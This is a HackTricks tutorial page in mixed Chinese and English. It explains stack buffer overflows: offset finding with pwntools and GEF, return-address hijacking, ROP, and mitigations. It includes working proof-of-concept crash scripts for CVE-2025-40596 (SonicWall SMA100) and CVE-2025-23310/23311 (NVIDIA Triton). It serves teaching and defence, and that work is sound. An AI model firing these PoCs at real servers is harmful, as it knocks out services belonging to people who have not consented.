Stack Overflow

Reading time: 11 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

什么是 Stack Overflow

A stack overflow 是一种漏洞,当程序向 stack 写入的数据超过为其分配的大小时就会发生。 这些多余的数据将 覆盖相邻的内存空间,导致有效数据损坏、控制流被破坏,并可能执行恶意代码。该问题通常由于使用不做输入边界检查的不安全函数而产生。

这种覆盖的主要问题在于保存的指令指针 (EIP/RIP)保存的基指针 (EBP/RBP)(用于返回到先前的函数)是存储在 stack 上的。因此,攻击者可以覆盖它们并控制程序的执行流

该漏洞通常是因为函数在 stack 内复制的字节数超过为其分配的数量,从而能够覆盖 stack 的其他部分。

一些常见易受影响的函数有:strcpy, strcat, sprintf, gets…… 同时,像 fgets, read & memcpy 这样的带有长度参数的函数,如果指定的长度大于分配的大小,也可能被以不安全的方式使用。

For example, the following functions could be vulnerable:

c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

查找 Stack Overflows 偏移量

最常见的方法是提供大量的 A(例如 python3 -c 'print("A"*1000)')作为输入,并期待出现 Segmentation Fault,这表明地址 0x41414141 被尝试访问

此外,一旦发现存在 Stack Overflow 漏洞,你需要找出能够overwrite the return address的偏移量;通常会使用De Bruijn sequence。对于给定字母表大小 k 和子序列长度 n,它是一种循环序列,其中每一个可能的长度为 n 的子序列恰好作为一个连续子序列出现一次

这样,与其手动确定控制 EIP 所需的偏移量,不如使用这些序列之一作为 padding,然后找到最终覆盖它的字节的偏移量。

可以使用 pwntools 来完成这一步:

python
from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

GEF:

bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

利用 Stack Overflows

During an overflow (supposing the overflow size if big enough) you will be able to 覆盖 values of local variables inside the stack until reaching the saved EBP/RBP and EIP/RIP (or even more).
The most common way to abuse this type of vulnerability is by modifying the return address so when the function ends the control flow will be redirected wherever the user specified in this pointer.

However, in other scenarios maybe just overwriting some variables values in the stack might be enough for the exploitation (like in easy CTF challenges).

Ret2win

In this type of CTF challenges, there is a function inside the binary that is never called and that you need to call in order to win. For these challenges you just need to find the offset to overwrite the return address and find the address of the function to call (usually ASLR would be disabled) so when the vulnerable function returns, the hidden function will be called:

Ret2win

Stack Shellcode

In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start.

Windows Seh Overflow

ROP & Ret2... techniques

This technique is the fundamental framework to bypass the main protection to the previous technique: No executable stack (NX). And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary:

ROP - Return Oriented Programing

Heap Overflows

An overflow is not always going to be in the stack, it could also be in the heap for example:

Heap Overflow

Types of protections

There are several protections trying to prevent the exploitation of vulnerabilities, check them in:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

A good demonstration of why sscanf should never be trusted for parsing untrusted input appeared in 2025 in SonicWall’s SMA100 SSL-VPN appliance. The vulnerable routine inside /usr/src/EasyAccess/bin/httpd attempts to extract the version and endpoint from any URI that begins with /__api__/:

c
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. 第一项转换 (%2s) 将两个字节安全地存储到 version(例如 "v1")。
  2. 第二项转换 (%s) 没有长度说明符,因此 sscanf 会持续复制 直到第一个 NUL byte
  3. 由于 endpoint 位于 stack 上且是 0x800 bytes long,提供一个长于 0x800 字节的路径会破坏缓冲区之后的所有内容 ‑ 包括 stack canarysaved return address

一行 proof-of-concept 就足以在 before authentication 触发崩溃:

python
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

即使 stack canaries 会使进程中止,攻击者仍然能获得一个 Denial-of-Service 基本能力(并且,借助额外的信息 leaks,可能实现 code-execution)。教训很简单:

  • 始终为字段提供一个 maximum field width(例如 %511s)。
  • 优先使用更安全的替代函数,例如 snprintf/strncpy_s

真实案例:CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA’s Triton Inference Server (≤ v25.06) 在其 HTTP API 中包含多个可触达的 stack-based overflows。 该易受攻击的模式在 http_server.ccsagemaker_server.cc 中反复出现:

c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) 返回组成当前 HTTP 请求正文的内部缓冲区段的数量
  2. 每个段会导致一个16-byteevbuffer_iovec 被通过 alloca()stack上分配——没有任何上限
  3. 通过滥用 HTTP chunked transfer-encoding,客户端可以强制将请求拆分为数十万个 6-byte chunks"1\r\nA\r\n")。这会使 n 无限增长,直到 stack 耗尽。

概念验证 (DoS)

python
#!/usr/bin/env python3
import socket, sys

def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())

for _ in range(chunks):                  # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n")            # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n")               # end of chunks
s.close()

if __name__ == "__main__":
exploit(*sys.argv[1:])

在默认构建下,约 3 MB 的请求足以覆盖保存的返回地址并 crash 守护进程。

补丁与缓解

25.07 版本将不安全的栈分配替换为基于堆的 std::vector,并优雅地处理 std::bad_alloc:

c++
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();

经验教训:

  • 永远不要用攻击者可控的大小调用 alloca()
  • Chunked requests 可能会彻底改变服务器端缓冲区的形态。
  • 在将从客户端输入派生的任何值用于内存分配 之前,先验证并限制该值。

参考资料

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks